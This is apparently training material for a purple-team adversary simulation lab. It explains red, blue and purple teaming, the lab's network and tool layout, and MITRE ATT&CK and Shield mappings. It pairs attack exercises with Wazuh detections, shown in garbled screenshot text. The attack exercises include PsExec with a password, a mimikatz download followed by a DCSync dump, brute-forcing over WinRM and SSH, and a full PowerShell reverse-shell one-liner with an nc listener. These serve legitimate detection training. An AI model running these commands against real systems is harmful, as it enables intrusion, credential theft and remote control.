

# PURPLE TEAM ADVERSARY SIMULATION LAB: COURSE MATERIAL

**CYBERWARFARE LABS:** https://cyberwarfare.live BTL-ID: xxxx E-mail: support@cyberwarfare.live

### **COURSE CONTENT**

#### 1. Introduction to Purple Teaming: -

- 1.1 About Red Teaming
- 1.2 About Blue Teaming
- 1.3 About Purple Teaming

#### 2. Blue Team Adversary Simulation Lab Overview: -

- 2.1 Lab Overview
- 2.2 Lab Architecture
- 2.3 Lab Access
- 2.4 About Enterprise Simulated Environment
- 2.5 Adversary Simulation
- 2.6 Adversary Detection
- 2.7 About Red vs Blue Team Joint Operations

#### 3. Red Team Operations in Simulated Lab

- 3.1 Automated Adversary Simulation
- 3.2 Manual Adversary Simulation

#### 4. Blue Teaming in Simulated Lab

- 4.1 Host based attack detection
- 4.2 Network Based attack detection
- 4.3 AD Based attack detection
- 4.4 Network Traffic Analysing
- 4.5 Digital forensic and Incident Response

#### 5. Purple Teaming Exercise (APT attack simulation and detection)

- 5.1 Adversary Simulation Using MITRE ATT&CK Framework
- 5.2 Adversary Detection using MITRE Shield Framework
- 5.3 Tactics, Techniques and Procedures (TTPs) Simulation and Detection
  - 5.3.1 Windows Environment
  - 5.3.2 Linux Environment

# 1. INTRODUCTION TO PURPLE TEAMING

# 1.1 ABOUT RED TEAMING

• **Red teaming** is a full-scope, multi-layered attack simulation designed to measure how well your people, networks, applications, and physical security controls can withstand an attack from a real-life adversary.

• A Red Team's role is to emulate Threat actor and try to break into systems.

• They assess the organization's ability to detect, respond and prevent sophisticated targeted threats.

• They mimic Adversary Kill Chain shown below:



• Red Team uses Open Source Tools and Research to not only model but also execute real-world tactics associated with an adversary kill chain.

 Red Teaming may be referred to as, adversary emulation threat simulation, threat emulation, adversary simulation, or some other phrase that expresses a threat-based approach
Simula to environment testing.

 Simulated threats muscle memory of defenders and equip them with better awareness of attacker TTPs as well as lessons learning from simulated failure.



# **RED TEAM OBJECTIVES**

- Training or measuring capabilities of Security Operations team.
- Measure the effectiveness of the people, working processes, and technologies used to defend a network.
- Testing and understanding specific Threats or Threat scenarios and their technologies.
- Achieving a specific motive: -
  - Stealing Data
  - Compromising a Network environment
  - Compromise an Application
  - Achieving the effectiveness of a security teams.

# 1.2 ABOUT BLUE TEAMING

- In simple words, a security team that defends against threats and cyber-attacks.
- They find ways to Detect, Defend, protect and most importantly re-group defence mechanisms to make Incident response much stronger.
- Blue Team has to be aware of the latest malicious TTPs to build comprehensive response strategies.



• Blue Team use a variety of tools and methodologies as countermeasures to protect network from Cyber-Attacks.

- Blue Team exercises includes: -
  - Conducting digital footprint analysis to track user activities
  - Implementing SIEM solutions to log and ingest network activity
  - Analysing logs and memory to pick up unusual activity on the system, and identify and detect an attack.
  - Host level and Network level Monitoring
  - Installing and Maintaining endpoint security solutions in devices
  - Perform DNS audits to prevent Phishing Attacks
  - Digital footprint analysis
  - Risk intelligence data analysis

### **BLUE TEAM OBJECTIVES**

- Incorporating Defensive Security techniques in the organization's infrastructure.
- Early Threat Detection and Prevention
- Preventing organization from data-loss/data-breach
- Understand and build plans against vulnerabilities and shortcomings identified by Red Team
- Greater visibility into the network.

# 1.3 ABOUT PURPLE TEAMING

- Purple Team tests the organization security team's capabilities against every phase of the attack lifecycle.
- It is a combination of both existing red team and blue team members coming together.
- It exists to ensure and maximize the effectiveness of the Red and Blue teams

- Their main goal is to improve the effectiveness of vulnerability detection, threat hunting and network monitoring.
- Helps in consolidating and uncovering new investigative, monitoring methods.
- Increases visibility into the organization's network, and ensures the vulnerabilities are identified before they become issues



@cyberwarfare.live

### PURPLE TEAM OBJECTIVES

- Facilitating improvements in Detection and Defence.
- Establishing better tuning between Red Team and Blue Team.
- Sharpened the skills of both the teams.
- Tracking the progression of the security team's detection and response capabilities from the start of the engagement to the end.
- Increasing visibility into the company's network, and ensures the vulnerabilities are identified before they become issues.

# 2. BLUE TEAM ADVERSARY SIMULATION LAB OVERVIEW

# 2.1 LAB OVERVIEW

 Apex Threat Actors having advanced capabilities like leveraging inmemory implants, using 0-day exploits, moving laterally with custom made Tools, utilizing host level attacks like cross-process injection for stealthiness etc. are constantly consolidating their attack techniques (and Tactics) against Defensive Teams.

 The main objection of the lab to perform purple teaming activities. Essentially purple teaming is the execution of Tactics, Techniques and Procedures (TTP) of a threat actor on monitored systems with the objective of identifying and bridging gaps in detection capabilities.  In this Lab, you will proactively work as a Purple team member, whereas a red teamer you will perform different attacks and as a Blue Teamer, you will Identify, Detect, Analyze then Respond those attacks in a realistic enterprise environment.

 The main aim of this Lab is to help the Blue Teamers to Identify and Detect latest Techniques and Tools used by Adversary. Analyze and Respond ongoing attacks and collect the evidence for investigation purpose. However, Red teamers will understand execution of Red Team Operations in stealth mode without detection and aware about visibility against Blue Team.

- High-Level Highlights of the Lab:
  - Purple team Exercises (Red Team Vs Blue Team).
  - Attack & Defend in simulated Enterprise environment.
  - Understand and simulate MITRE ATT&CK Framework Techniques For Red Teamer.
  - Learn and Analyze in shield MITRE Active Defenses FrameWork.
  - Perform Automated as well as Manual cyber attacks.
  - Identify, Detect, Monitor and Respond against real-time cyber attacks.
  - Simulate and Detect TTPs used by APT groups.
  - Dedicated Command & Control Server (C2C server) for Red Team Operations.

- Learning From Blue Team Perspective:
  - Detect & Analyze various Host based attacks by endpoint monitoring solutions.
  - Detect & Analyze various Network based attacks by network device monitoring solutions.
  - Hunt for Cyber Threats in a realistic enterprise environment.
  - Collecting evidence and investigating cyber attacks using DFIR solutions.
  - Packet Analysis to understand Protocol level attacks.
  - Detect Advance Kerberos based Attacks using Microsoft security solution.
  - Real-Time Container security Monitoring.
  - Hands-on on different SIEM solutions.
  - Perform Real-Time Operating system level Vulnerability Assessment.
  - Map every attack to MITRE ATT&CK Framework.
  - Real-Time Network Traffic Visualization.
  - Understand about different logs generated by Windows and Linux systems.

- Learning From Red Team Perspective:
  - Simulate Attacker TTPs in realistic environment.
  - Understand about logs, events and alerts generated by different Offensive Tools.
  - Identify latest Techniques to bypass different security solutions.
  - Enhance stealth Red Team skills by analyzing Blue Team activities.
  - Generate real-time alerts using Automated Red Team Framework (no red team skills required).
  - Generate real-time alerts by performing Red Team Operations manually (red team skills required).
  - Bypassing detection of Kerberos Based attacks.

# 2.2 LAB ARCHITECTURE



#### 2.3 LAB ACCESS



@cyberwarfare.live

- Students will be using VPN to access the simulated infrastructure, the VPN range is:
  - 192.168.150.x/24 where x is your VPN number.
- The attack machines where you will perform offensive operations is in the range:
  - Automated Red Teaming
    - Caldera Dedicated C2 Server: <u>http://192.168.250.1X:8888/</u>
    - Credentials to access C2 Server:
      - Username: Adversary**X**
      - Password: xxxxx
    - Shared Payload Server: <u>http://192.168.250.100</u>
  - Manual Red Teaming
- Enterprise Infrastructure range for attack simulation is:
  - 10.10.10.0/24 (directly reachable to you)
  - Initial Access Windows Machine (PS Remoting/PSEXEC): **10.10.10.5**
  - Initial Access Linux Machine (SSH): 10.10.10.6
  - Credential to access Initial Access Windows/Linux Machine:
    - Username: cyberwarfare\empX
    - Password: xxxxx

• Defensive Tools for Blue teaming are in the range: -

Machine	IP Address
Network Based Attack Monitoring [SPLUNK]	http://172.16.1.12:8000
Host Based Attack Monitoring [ELK]	https://172.16.1.13/app/wazuh
Digital Forensics & Incident Response [DFIR]	http://172.16.1.14:8000
Network Traffic Analysis	http://172.16.1.15:8005
ATA-CENTER	https://172.16.1.11

Credential to Access all solutions in Blue Team Environment: -

Username: analystX

Password: xxxxx

# 2.4 ABOUT ENTERPRISE SIMULATED ENVIRONMENT

Simulated Enterprise environment allows Red Teamers to perform the following: -

- Red Team attack simulation in misconfigured Active Directory Environment
- Bypassing Host & Network based Security Controls
- Exploiting combination of Linux & Windows machines
- MSSQL Server exploitation
- Web based and Network based vulnerabilities and misconfigurations
- User Simulation
- Multiple Lateral Movement and Pivoting Scenarios
- Horizontal and vertical Privilege Escalation
- Kerberos based attacks and exploitation

## 2.5 ADVERSARY SIMULATION

#### 1 About Adversary Simulation

- It is a type of red team engagement that mimics a known threat to an organization by blending in threat intelligence to define what actions and behaviours the red team uses.
- Adversary emulators construct a scenario to test certain aspects of an adversary's tactics, techniques, and procedures (TTPs).
- The red team then follows the scenario while operating on a target network in order to test how defences might fare against the emulated adversary.
- Simulating different threat actor group TTPs by following MITRE ATT&CK Framework.

#### 2 About MITRE ATT&CK Framework

• MITRE ATT&CK framework is a comprehensive matrix of tactics and techniques used by threat hunters, red teamers, and defenders to better classify attacks and assess an organization's risk.



• The aim of the framework is to improve post-compromise detection of adversaries in enterprises by illustrating the actions an attacker may have taken.

3 About Tactics, Techniques and Procedures (TTPs)

#### A) Tactics:

Tactics refer to high-level description of behaviour, threat actor are trying to accomplish. There are overall 11 tactics in MITRE ATT&CK Framework.

#### B) Techniques:

The rows in the MITRE ATT&CK matrix are the techniques leveraged to perform the action for a specific tactic. In general, a technique represents how the threat actor achieves a tactical objective.

#### C) Procedures:

The procedure is a particular instance of use and can be very useful for understanding exactly how the technique is used and for replication of an incident with adversary emulation and for specifics on how to detect that instance in use.

Tactic ID	Tactic Name	Tactic Description
<u>TA0001</u>	Initial Access	The adversary is trying to get into your network.
<u>TA0002</u>	Execution	The adversary is trying to run malicious code.
<u>TA0003</u>	Persistence	The adversary is trying to maintain their foothold.
<u>TA0004</u>	Privilege Escalation	The adversary is trying to gain higher-level permissions.
<u>TA0005</u>	Defense Evasion	The adversary is trying to avoid being detected.
<u>TA0006</u>	Credential Access	The adversary is trying to steal account names and passwords.
<u>TA0007</u>	Discovery	The adversary is trying to figure out your environment.
<u>TA0008</u>	Lateral Movement	The adversary is trying to move through your environment.
<u>TA0009</u>	Collection	The adversary is trying to gather data of interest to their goal.
<u>TA0011</u>	Command and Control	The adversary is trying to communicate with compromised systems to control them.
<u>TA0010</u>	Exfiltration	The adversary is trying to steal data.
<u>TA0040</u>	<u>Impact</u>	The adversary is trying to manipulate, interrupt, or destroy your systems and data.

4. Ways to perform Adversary Simulation

#### A) Automated Attack Simulation:

Perform attacks and simulate threat actors TTP's using MITRE Caldera Automated Red Team Toolkit.

#### **B)** Manual Attack Simulation:

Perform attacks and simulate threat actors TTP with or without Command & Control Server. It is similar to perform manual Red Team Operations against an Enterprise Environment.

# 2.6 ADVERSARY DETECTION

#### 1 About Adversary Detection

• Identify sophisticated Threat Actors operating within the enterprise environment.

• A proactive approach to detection uses both Indication of Attacks (IOAs) and indication of Compromise (IOCs) to discover security incidents or threats in as close to real time as possible

• Monitor, Detect and Identify adversary attacks and respond to prevent such attacks in real-time manner.

# 2.6 ADVERSARY DETECTION

- 2 About MITRE 'Shield' Active Defences Framework
- MITRE Shield is a publicly available, free knowledge base of common techniques and tactics that can help experts take proactive steps to defend their networks and assets
- It identifies the opportunities for learning that defenders have from actively taking on and engaging with intruders on the network.
- For example by creating a decoy account, an organization could entice an adversary to take some action that would reveal information about their tactics and tools.
- For example a target system with decoy credentials such as fake usernames, passwords, and browser tokens defenders can get alerts when an adversary accesses a particular resource or uses a specific technique
- MITRE has mapped the post-compromise adversary behavior contained in its ATT&CK framework to the relevant defensive techniques in Shield.

#### 3 Active Defence Tactics :

ID	Name	Description
<u>DTA0001</u>	Channel	Guide an adversary down a specific path or in a specific direction.
<u>DTA0002</u>	Collect	Gather adversary tools, observe tactics, and collect other raw intelligence about the adversary's activity.
<u>DTA0003</u>	Contain	Prevent an adversary from moving outside specific bounds or constraints.
<u>DTA0004</u>	Detect	Establish or maintain awareness into what an adversary is doing.
DTA0005	Disrupt	Prevent an adversary from conducting part or all of their mission.
<u>DTA0006</u>	Facilitate	Enable an adversary to conduct part or all of their mission.
<u>DTA0007</u>	Legitimize	Add authenticity to deceptive components to convince an adversary that something is real.
DTA0008	Test	Determine the interests, capabilities, or behaviors of an adversary.

4 Security solutions to Monitor, Detect, Identify & Respond Cyber-Attack

-

-

- A. Splunk & Suricata (NIDS) Netwo
- B. ELK & Wazuh (HIDS) -
- C. Advance Threat Analytics (ATA) -
- D. Network Traffic Analyst
- E. Google Rapid Response (GRR)

- Network Based Attack Monitor
- Host / Endpoint Based Attack Monitor
- AD & Kerberos Based Attack Detection
- Malicious Network Protocol Analysis
- Digital Forensic & Incident Response

### 2.7 ABOUT RED vs BLUE JOINT OPERATIONS



# 3. RED TEAM OPERATIONS IN SIMULATION LAB
### 3.1 RED TEAM OPERATIONS IN SIMULATED LAB

- 1. Automated Adversary Simulation
  - Introduction to Caldera
    - It is a adversary emulation framework designed to easily run autonomous breach & simulation exercises.
    - It is built on the <u>MITRE ATT&CK<sup>™</sup> framework</u>
    - Actively attacks target systems by deploying custom backdoors (follows client, server model)
    - CALDERA works by attaching abilities to an adversary and running the adversary in an operation.

#### CALDERA ARCHITECTURE :

- 1) Server and Agent written in Python 3
- 2) RAT written in C#
- 3) MongoDB
- Web interface is a JavaScript based web app
- 5) pyDatalog logic backend





# **MANUAL RED TEAMING**



2 Manual Attack Simulation Code Snippet -

a. Perform "PsExec" against target window machine with valid credential for initial access -

PsExec64.exe \\10.10.10.5 -u cyberwarfare\priv -p Dcsync@086 -h cmd.exe

b. Download "Mimikatz" binary from payload server on compromised machine -

powershell.exe Invoke-WebRequest http://192.168.250.100/mimikatz.exe -OutFile C:\Users\Public\mimikatz.exe

c. Run "DCSync" Attack against domain controller using downloaded mimikatz -

C:\Users\Public\mimikatz.exe "Isadump::dcsync /domain:cyberwarfare.corp /all /csv"

# 4. BLUE TEAMING IN SIMULATION ENVIRONMENT



## **BLUE TEAMING**



• Active Directory & Kerberos Based Attack Detection using ATA :

• Microsoft Advanced Threat Analytics (ATA) is an on-premise platform that helps to protect against multiple target cyber-attacks or insider threats.

- ATA collects information from various data-sources, logs and events in the network environment, some of the devices are: -
  - SIEM solutions
  - Windows Event Forwarding
  - Lightweight Gateway (Deployment in Domain Controller)

• Has the capability to detect various attacks like, PTT, PTH, O-PTH, Golden Ticket, Remote command Execution, Brute Force etc.

- Host Based Attack Detection using HIDS :
  - A host-based intrusion detection system (HIDS) is an intrusion detection system that is capable of monitoring and analyzing the internals of a computing system.
  - Monitoring and Detecting active threats from endpoints present in enterprise environment.
  - Collecting log from endpoint devices using Host (HIDS) agent.
  - Various host level attacks like privilege escalation, malicious queries etc can be detected by HIDS.
  - Type of logs collected from different platform :
    - Windows Platform System logs, Security logs, Sysmon logs, Powershell logs etc.
      - PowerShell transcripts log files location : "C:\" (Access this log file using GRR utility)
    - Linux Platform Auditd logs, Authentication logs, Cron Job logs, syslog etc.

- Analysing Network Traffic
  - Continuous monitoring and detecting network traffic, network connections from suspicious IP addresses.
  - It is a process of intercepting, recording and analysing network traffic communication patterns in order to detect and respond to security threats.
  - Action by network analysis :
    - Broader visibility to the Network
    - Encrypted Traffic Analysis
    - Protocol level analysis
    - Malicious c2 server traffic analysis

- Network Based Attack Detection using NIDS :
  - A network-based intrusion detection system (NIDS) detects malicious traffic on a network.
  - Detecting Attacks in all layers of TCP/IP model to prevent and mitigate against active threats and block malicious traffic on network level.
  - In network-based attack monitoring, it collects log from different networking devices :
    - IDS / IPS
    - Firewall
    - Router
    - Switch

- Digital Forensics and Incident Response using GRR & OSQUERY :
  - Google Rapid Response (GRR) is an open-source live forensics tool created by Google for incident response.
  - GRR's objective is to assist in live forensics and investigation to allow for remote analysis permitting
    investigators to collect data about running systems on a network, anywhere from one system to
    thousands.
  - Osquery exposes an operating system as a high-performance relational database. This allows you to write SQL queries to explore operating system data.
  - With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel modules, open network connections, browser plugins, hardware events or file hashes.
  - Download PowerShell Transcripts log files from windows machine using GRR.

5. Purple Teaming Exercise (APT Attack Simulation and Detection)

# 5.1 Purple Teaming Exercise (APT Attack Simulation & Detection)

	TACTICS										
	INITIAL ACCESS	EXECUTION	PESISTENCE	PRIVILEGE ESCALATION	DEFENSE EVASION	CREDENTIAL ACCESS	DISCOVERY	LATERAL MOVEMENT	COLLECTION	COMMAND & CONTROL	EXFILTRATION
WINDOWS	T1133	T1059 ST: 001	T1547 ST: 001	T1543 ST:003	T1222 ST: 001	T1003 ST:001	T1482	T1550 ST: 002	T1005	T1071 ST: 001	T1048 ST:003
LINUX	T1133	T1059 ST: 004	T1136 ST: 001	T1548 ST:003	T1222 ST:002	T1003 ST:008	T1046	T1021 ST: 004	T1005	T1071 ST: 001	T1041
PLATFORM											

T -> Technique ST -> Sub-Technique

### TTP's executed/covered in WINDOWS platform

TACTICS	Technique ID	Technique Name	Sub-Technique Name
Initial Access	T1133	External Remote Services	N/A
Execution	T1059 / ST: 001	Command and Scripting Interpreter	PowerShell
Persistence	T1547 / ST: 001	Boot or Logon Autostart Execution	Registry Run Keys / Startup Folder
Privilege Escalation	T1543 / ST:003	Create or Modify System Process	Windows Service
Defence Evasion	T1222 / ST: 001	File & Directory Permissions Modification	Windows File & Directory Permissions Modification
Credential Access	T1003 / ST:001	OS Credential Dumping	LSASS Memory
Discovery	T1482	Domain Trust Discovery	N/A
Lateral Movement	T1550 / ST: 002	Use Alternate Authentication Material	Pass the Hash
Collection	T1005	Data from Local System	N/A
Command and Control	T1071 / ST: 001	Application Layer Protocol	Caldera Web Protocol
Exfiltration	T1020	Automated Exfiltration	N/A

### TTP's executed/covered in LINUX platform

TACTICS	Technique ID	Technique Name	Sub-Technique Name
Initial Access	T1133	External Remote Services	N/A
Execution	T1059 / ST: 004	Command and Scripting Interpreter	Unix Shell
Persistence	T1136 / ST: 001	Create Account	Local Account
Privilege Escalation	T1548 / ST:003	Abuse Elevation Control Mechanism	Sudo and Sudo Caching
Defence Evasion	T1222 / ST:002	File & Directory Permissions Modification	Linux and Mac File and Directory Permissions Modification
Credential Access	T1003 / ST:008	OS Credential Dumping	/etc/passwd and /etc/shadow
Discovery	T1046	Network Service Scanning	N/A
Lateral Movement	T1021 / ST: 004	Remote Services	SSH
Collection	T1005	Data from Local System	N/A
Command and Control	T1071 / ST: 001	Application Layer Protocol	Caldera Web Protocol
Exfiltration	T1048	Exfiltration Over Alternative Protocol	N/A

### 1. INITIAL ACCESS

#### 1.1 Initial Access Windows [External Remote Services - T1133]

1.1.A Attack [WinRM Service (PS Remoting) Brute-Forcing]: -

• PS Remoting with Failed Login Attempt:

powershell -ep bypass
\$UserName = 'cyberwarfare\emp1'
\$Password = 'Wrong\_Password'
\$securepassword = ConvertTo-SecureString \$Password -AsPlainText -Force
\$pscredentials = New-Object System.Management.Automation.PSCredential (\$UserName, \$securepassword)
\$sess = New-Pssession -ComputerName 10.10.10.5 -Credential \$pscredentials -Verbose

• PS Remoting with Successful Login Attempt:

powershell -ep bypass
\$UserName = 'cyberwarfare\emp1'
\$Password = 'Serious@963'
\$securepassword = ConvertTo-SecureString \$Password -AsPlainText -Force
\$pscredentials = New-Object System.Management.Automation.PSCredential (\$UserName, \$securepassword)
\$sess = New-Pssession -ComputerName 10.10.10.5 -Credential \$pscredentials -Verbose

#### 1.1.B Detection: -

#### Detect Remote Service Brute-Forcing using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – **DTE0017 Decoy System/Decoy Users**

#### • Failed Login Attempt Detection:



#### • Successful Login Attempt Detection:

$\leftrightarrow$ $\rightarrow$ C $\land$ Not secure   172.	.16.1.13/a	app/kibana#/discover?_g=(filters	:!(),refreshInterval:(pause:!t,value:0),time:(from:now-1	5m,to:now))8	k_a=(colu	mns:!(_source),filters:!(('\$state':(store:app	State),met 🛧 🚺 🤻	s 😫 🗯 🧿
😑 🍪 🖻 Discover								Ø 🛛
New Save Open Share Inspe	ct							
<b>B</b> ~ 10.10.10.5				KQL		Last 15 minutes	Show dates	C Refresh
NOT data.win.eventdata.image: C:\	\\Program	n Files (x86)\\ossec-agent\\ossec-a	agent.exe × + Add filter					
wazuh-alerts-3.x-* ~	0			<mark>6</mark> h	its			
Q Search field names			Sep 14, 2020 @ 01:01:01.971 - 3	Sep 14, 202	0 @ 01:1	6:01.971 — Auto ~		
<ul><li>Filter by type</li></ul>		2						
Selected fields	ŧ	1.5						
Available fields	Cot	1						
Popular		0.5						
t agent.id		0						
t agent.ip		00:58:00 00:59:00 01:00:00	01:01:00 01:02:00 01:03:00 01:04:00 01:05:00	01:06:00 0	1:07:00 0	01:08:00 01:09:00 01:10:00 01:11:00 0	/1:12:00 01:13:00 01:14:00	01:15:00
t agent.name		2		timestamp p	er 30 seco	onas		
t data.win.system.channel		Time 🗸	_source					
t data.win.system.process	>	Sep 14, 2020 @ 01:15:32.977	<pre>{ "input": { "type": "log" }, "agent": { "ip "data": { "win": { "eventdata": { "subjectLog"</pre>	": "10.10.1 gonId": "0x	0.5", "n 0", "tar	ame": "EMPLOYEE-RW1", "id": "002" } getLinkedLogonId": "0x0", "imperson	, "manager": { "name": "w ationLevel": "%%1833", ";	vazuhmanager" }, authenticationPa
t data.win.system.provide			ckageName": "NTLM", "workstationName": "HACK	ER-PC", "ln 000000000000	PackageN	ame": "NTLM V2", "targetLogonId": " getUserName": "emp1", "keylength":	0xbbd017b", "logonProcess "128", "elevatedToken": '	sName": "NtLmSs "%%1842", "subie
t input.type			ctUserSid": "S-1-0-0", "processId": "0x0", "	targetDomai	.nName":	"CYBERWARFARE", "targetUserSid": "S	-1-5-21-3233075745-318658	31657-3272279772
_id			{54849625-5478-4994-a5ba-3e3b0328c30d}", "le	vel": "0",	"channel	": "Security", "opcode": "0", "mess	age": "\"An account was :	successfully log

### 1. INITIAL ACCESS

#### 1.2 Initial Access Linux [External Remote Services - T1133] 1.2.A Attack [SSH Brute-Forcing]: -

• SSH with Failed Login Attempt:

ssh emp1@CYBERWARFARE.CORP@10.10.10.6

Password: Wrong\_Password

• SSH with Successful Login Attempt:

ssh emp1@CYBERWARFARE.CORP@10.10.10.6

Password: Serious@963

#### 1.2.B Detection: -

#### Detect Remote Service Brute-Forcing using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – **DTE0017 Decoy System**

• Failed Login Attempt Detection:

← → C ▲ Not secure   172	2.1 <mark>6.1.</mark> 13	8/app/kibar	na#/discover	r?_g=(filters:	:!(),refreshInt	terval:(pause	:!t,value:0),ti	ime:(from:no\	w-15m,to:now))	&_a=(colu	ımns:!(_sour	rce),filters:!(('\$	state':(store:app	State),met 🤊	x 0 e	8	+ 💿
🗮 🗞 🖸 Discover																¢	
New Save Open Share Insp	ect																
₿ ~ 10.10.10.6									KQL		Last 15 n	ninutes		Sho	ow dates	ି Re	efresh
NOT data.win.eventdata.image: C	:\\Progra	ım Files (x8	6)\\ossec-ag	ent\\ossec-a	gent.exe $ imes$	+ Add filte	er										
wazuh-alerts-3.x-* ✓ Q Search field names	0	3				Sep 1	4, 2020 @	01:04:27.47	<b>3</b> h 9 - Sep 14, 20	its 20 @ 01:1	9:27.479 -	– Auto	~				
Selected fields Available fields Popular	Count	2.5 2 1.5 1 0.5															
agent.id     agent.ip     agent.name     data win system shoopel		0 Time 🚽	01:05:00	01:06:00	01:07:00 _source	01:08:00	01:09:00	01:10:00	01:11:00 ( timestamp	11:12:00 per 30 sec	01:13:00 onds	01:14:00	01:15:00 01:10	3:00 01:17:00	01:18:00	01:19:0	00
t       data.win.system.channer         t       data.win.system.process         t       data.win.system.provide         t       input.type         ()       _id	>	Sep 14,	2020 @ 01:	19:15.719	{ "predec t": { "ip rcport": [ "164.31 d", "auth que": [ " g/auth.lo	oder": { "h ": "10.10.1 "1626" }, " 2.b" ], "ts entication_ Brute Force g", "id": "	ostname": 0.6", "nam manager": cc": [ "CC6 failed" ], " ], "id": 1600026555	"EMPLOYEE-R me": "EMPLOY { "name": " 5.1", "CC6.8 "nist_800_ : [ "T1110" 5.42709191",	L1", "program EE-RL1", "id" wazuhmanager" ", "CC7.2", " 53": [ "AU.14 ], "tactic": "decoder": {	_name": " : "004" } }, "rule CC7.3" ], ", "AC.7" [ "Creden "parent"	sshd", "ti , "data": e": { "mail "descript ], "gdpr" tial Acces : "sshd",	imestamp": " { "srcip": L": false, " tion": "sshd ': [ "IV_35. ss" ] }, "id "name": "ss	Sep 14 01:19:14 "192.168.150.4" level": 5, "pc: : authenticatic 7.d", "IV_32.2" ": "5716", "gpg hd" }, "full_1c	<pre>#" }, "input": ', "dstuser": i_dss": [ "10. on failed.", " " ], "firedtim g13": [ "7.1" og": "Sep 14 {</pre>	{ "type": "cyberwarfa 2.4", "10.2 groups": [ mes": 1, "mi ] }, "locat 01:19:14 EMP	"log" }, re\\\\emy .5" ], "  "syslog" tre": { ion": "/ LOYEE-RL	"agen p1", "s hipaa": , "ssh "techni Var/lo 1 sshd

#### • Successful Login Attempt Detection:

← → C ▲ Not secure   172.16	5 <mark>.1.13</mark> /a	ipp <mark>/k</mark> ibai	na#/discover	?_g=(filters:	!(),refreshInt	terval:(pause	:!t,value:0),ti	me:(from:no	w-15m,to:now))8	k_a=(colu	ımns:!(_sou	rce),filters:!(	( <mark>'\$</mark> state':(sto	re:appState),n	net 🕁	0	8 🚳	*	<b>m</b> :
😑 😵 🖸 Discover																		٩	
New Save Open Share Inspect																			
B ∨ 10.10.10.6									KQL		Last 15	minutes			Show	dates	G	Ref	resh
NOT data.win.eventdata.image: C:\\P	rogram	Files (x8	6)\\ossec-age	ent\\ossec-a	gent.exe $ imes$	+ Add filt	er										_		
wazuh-alerts-3.x-* 🗸	3								<b>6</b> h	ts									
Q Search field names						Sep 1	4, 2020 @	01:05:26.87	'1 - Sep 14, 202	0 @ 01:2	20:26.871 -	– Auto	$\sim$						
<ul><li>Filter by type</li></ul>		3 2.5																	
Selected fields Available fields	Count	2 1.5																	
Popular t agent.id		0.5																	
t agent.ip			01:06:00	01:07:00	01:08:00	01:09:00	01:10:00	01:11:00	01:12:00 0	1:13:00	01:14:00	01:15:00	01:16:00	01:17:00	01:18:00	01:19:00	)	01:20:00	)
t agent.name		Time			SOURCA				unestamp F	er so sec	onus								
t data.win.system.channel		Time -			_source														
t data.win.system.process	>	Sep 14,	2020 @ 01;	20:15,793	<pre>{ "predeco ent": { ":</pre>	oder": { "H ip": "10.10	nostname": 0.10.6", "n	"EMPLOYEE-F ame": "EMPL	L1", "program_ OYEE-RL1", "ic	name": '  ": "004'	'systemd", ' }, "data	"timestamp ": { "uid"	o": "Sep 14 : "0", "dst	01:20:15" user": "emp	}, "input" 1@cyberwar	: { "typ fare.cor	e": "; p" },	log" "man	}, "ag ager":
t data.win.system.provide					{ "name": 7.2", "CC	"wazuhmana 7.3" ], "de	ager" }, "r escription"	ule": { "ma : "PAM: Loc	il": false, "l jin session ope	evel": 3 ned.", '	3, "pci_ds 'groups":	s": [ "10.2 [ "pam", ":	2.5" ], "hi sysloq", "a	.paa": [ "16 uthenticati	4.312.b" ] on_success	, "tsc": " ], "ni	[ "C( st_80	C6.8" 0_53"	CC : [ "A
t input.type					U.14", "Au ense Evas	C.7" ], "go ion". "Init	dpr": [ "IV tial Access	_32.2" ], ". "Persist	firedtimes": 2 ence". "Privil	, "mitre eae Esca	e": { "tec alation"	hnique": [ }. "id":	"Valid Acc "5501", "or	counts" ], " 0013": [ "7.	id": [ "T10 8". "7.9"	078"], ]}. "lc	"tact catio	ic": n": "	_ "Def /var/l
_id					og/auth.lo	og", "id":	"160002661	5.42735337	, "decoder": {	"parent	:": "pam",	"name": "	oam" }, "fu	ill_log": "S	ep 14 01:20	0:15 EMP	LOYEE	-RL1	system



Attacker C2 Server

### 2. EXECUTION

#### 2.1 Execution Windows [External Remote Services - T1059.001]

2.1.A Attack [Command and Scripting Interpreter (PowerShell)]: -

• Attacker Machine:

nc -nlvp 4443

• On Compromised Machine (employee-machine):

\$client = New-Object System.Net.Sockets.TCPClient('192.168.150.4',4443);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i =
\$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data
2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte =
([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()

#### 2.1.B Detection: -

Detect Shell-Code Execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)] & Traffic Analysis

Active Defence – DTE0036 (Software Manipulation)

• Detecting PowerShell Script for Reverse Shell by HIDS

← → C ▲ Not secure   172.1	6.1.13/a	app/kibana#/disco	ver?_g=(filters:!(),re	freshInterval:(	pause:!t,value	e:0),time:(fror	m:now-15m,t	:o:now))8	Ła=(colun	nns:!(_source);	filters:!(('\$stat	e':(store:appS	State),met	☆ (	0 <	86	*	m	1
😑 😚 🖸 Discover																	0		
New Save Open Share Inspec	:t																		
₿ ~ 10.10.10.5								KQL	<b> </b>	Last 15 minu	utes			Show dat	tes	G	Ref	iresh	
NOT data.win.eventdata.image: C:\\\	Program	Files (x86)\\ossec	agent\\ossec-agent	exe × + Ac	dd filter														
wazuh-archives-3.x-* 🗸	0						0	130,148	hits										
Q Search field names				5	Sep 14, 2020	0 @ 01:41:5	3.047 - Sep	14, 2020	0 @ 01:56	:53.047 —	Auto	$\sim$							
<ul> <li>Filter by type</li> <li>Selected fields</li> <li>_source</li> <li>Available fields</li> </ul>	Count	35000 30000 25000 20000 15000 10000 5000																	
Popular t agent.id t agent.ip		0 01:42:00	01:43:00 01:44:0	0 01:45:00	01:46:00	01:47:00	01:48:00 ti	01:49:00 mestamp	) 01:50: per 30 sec	00 01:51:00 onds	0 01:52:00	01:53:00	01:54:00	01:55:00	)	01:56:00	ĝ		
